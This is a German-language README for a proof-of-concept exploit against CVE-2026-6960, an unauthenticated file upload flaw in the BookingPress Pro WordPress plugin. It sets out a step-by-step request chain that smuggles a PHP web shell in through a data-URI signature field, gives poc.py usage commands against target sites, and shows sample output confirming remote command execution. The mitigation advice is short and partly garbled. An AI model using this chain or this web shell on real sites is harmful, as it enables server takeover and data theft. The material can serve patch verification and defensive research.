
Proof-of-Concept-Exploit für CVE-2026-6960: nicht authentifizierter Upload beliebiger Dateien in BookingPress Pro ≤ 5.6. Automatisiert eine 3-Schritte-Kette, um per Data-URI-Injektion einen PHP-Webshell hochzuladen und Remote-Codeausführung auf verwundbaren WordPress-Sites zu erreichen.
Forschung von: Atomic Edge Schweregrad: Kritisch | CVSS: 9.8 | Authentifizierung erforderlich: Keine
⚠️ v2 — Technische Korrekturen angewendet basierend auf Community-Feedback. Details siehe Changelog.
Eine kritische Schwachstelle für nicht authentifizierten beliebigen Datei-Upload existiert im BookingPress Pro WordPress-Plugin (Versionen ≤ 5.6). Der Handler für die Buchungsübermittlung bookingpress_book_appointment_booking verarbeitet den Wert eines Signatur-Benutzerdefinierten Felds als Data-URI. Das Plugin extrahiert die Dateiendung per Regex aus dem MIME-Typ-Teil der URI und übergibt sie direkt an file_put_contents() — ohne Allowlist oder Blocklist für Dateiendungen. Dies ermöglicht es einem Angreifer, eine PHP-Web-Shell in ein über das Web erreichbares Verzeichnis zu schreiben und Remote Code Execution (RCE) zu erreichen.
| Eigenschaft | Detail |
|---|---|
| Plugin | BookingPress Pro (bookingpress-appointment-booking-pro) |
| Betroffen | ≤ 5.6 |
| Behoben in | 5.7 |
| Vektor | Netzwerk / Nicht authentifiziert |
| AJAX-Aktion | bookingpress_book_appointment_booking |
| Grundursache | Endung wird aus dem vom Angreifer kontrollierten MIME-Typ in der Data-URI extrahiert → file_put_contents() ohne Allowlist |
| CWE | CWE-434: Uneingeschränkter Upload einer Datei mit gefährlichem Typ |
⚠️ Alle folgenden Bedingungen müssen erfüllt sein, damit die Website ausnutzbar ist:
Websites mit ≤ 5.6 ohne konfiguriertes Signatur-Benutzerdefiniertes Feld sind über diesen Vektor nicht ausnutzbar.
1. GET /booking-page/
└─ Extract _wpnonce from page source
2. POST /wp-admin/admin-ajax.php action=bookingpress_fetch_timeslot_data
└─ Obtain server-side timeslot transient key
3. POST /wp-admin/admin-ajax.php action=bookingpress_pre_booking_verify_details
└─ Obtain pre-booking verification token
4. POST /wp-admin/admin-ajax.php action=bookingpress_book_appointment_booking
└─ bookingpress_signature_field = "data:image/php;base64,<shell>"
└─ Plugin extracts "php" from MIME type → file_put_contents("shell.php", ...)
5. GET /wp-content/uploads/bookingpress/shell.php?cmd=id
└─ RCE confirmed
Der verwundbare Codepfad verarbeitet den Wert des Signaturfelds als Data-URI:
data:image/{ext};base64,{base64_encoded_content}
BookingPress extrahiert {ext} mithilfe eines Regex-Abgleichs aus dem MIME-Typ und schreibt dann den dekodierten Inhalt mit file_put_contents() auf die Festplatte, wobei diese Endung an den Dateinamen angehängt wird — es wird keine Allowlist-Prüfung durchgeführt. Die Angabe von image/php als MIME-Typ führt dazu, dass eine .php-Datei in das Upload-Verzeichnis geschrieben wird.
Dies unterscheidet sich grundlegend von einem Standard-Multipart-Datei-Upload — die Nutzlast ist in einem JSON-Body-Feld eingebettet, nicht in einem Datei-Upload-Teil.
pip install requests
# Basic — booking form on homepage, service ID 1
python3 poc.py -u https://target.com
# Booking form on a specific page
python3 poc.py -u https://target.com --booking-page /appointments/
# Custom service ID and shell filename
python3 poc.py -u https://target.com -s 3 -f evil.php
# Skip SSL verification
python3 poc.py -u https://target.com --no-verify
| Flag | Beschreibung | Standard |
|---|---|---|
-u, --url | Ziel-WordPress-URL | (erforderlich) |
-bp, --booking-page | Seitenpfad, der das BookingPress-Formular enthält | / |
-s, --service-id | BookingPress-Service-ID | 1 |
-f, --filename | Shell-Dateiname (Endung wird in den Data-URI-MIME-Typ injiziert) | shell.php |
--no-verify | SSL-Zertifikatsprüfung deaktivieren | false |
[!] PRECONDITION: This exploit requires a signature-type custom field
to be configured in the BookingPress booking form by the site admin.
[*] Step 1/3 — Fetching _wpnonce from: https://target.com/appointments/
[+] _wpnonce found: 9f1c3a72bd
[*] Step 2/3 — Fetching timeslot transient...
[+] Timeslot transient: bp_ts_a1b2c3d4
[*] Step 3/3 — Fetching pre-booking verification token...
[+] Verification token: bp_vt_e5f6g7h8
[*] Uploading shell via data URI method...
[*] Extension injected into MIME type: image/php
[+] Upload response (HTTP 200): {"success":true,...}
[✓] Shell is LIVE!
Output of 'id': uid=33(www-data) gid=33(www-data)
[→] Shell access: https://target.com/wp-content/uploads/bookingpress/shell.php?cmd=<command>
image/png, image/jpeg, image/svg+xml), bevor Sie die Endung extrahierenwp_check_filetype_and_ext()→ Aktualisieren Sie umgehend auf BookingPress Pro 5.7.
| # | Problem | v1 (falsch) | v2 (korrigiert) |
|---|---|---|---|
| 1 | AJAX-Aktion | bookingpress_validate_submitted_booking_form | bookingpress_book_appointment_booking |
| 2 | Payload-Methode | Multipart-Datei-Upload mit image/png | Data-URI: data:image/{ext};base64,... |
| 3 | Exploit-Ablauf | Direkter nicht authentifizierter POST | 3-stufige Voraussetzungskette (Nonce → Transient → Token) |
| 4 | Voraussetzung | Nicht dokumentiert | Signatur-Benutzerdefiniertes Feld muss konfiguriert sein |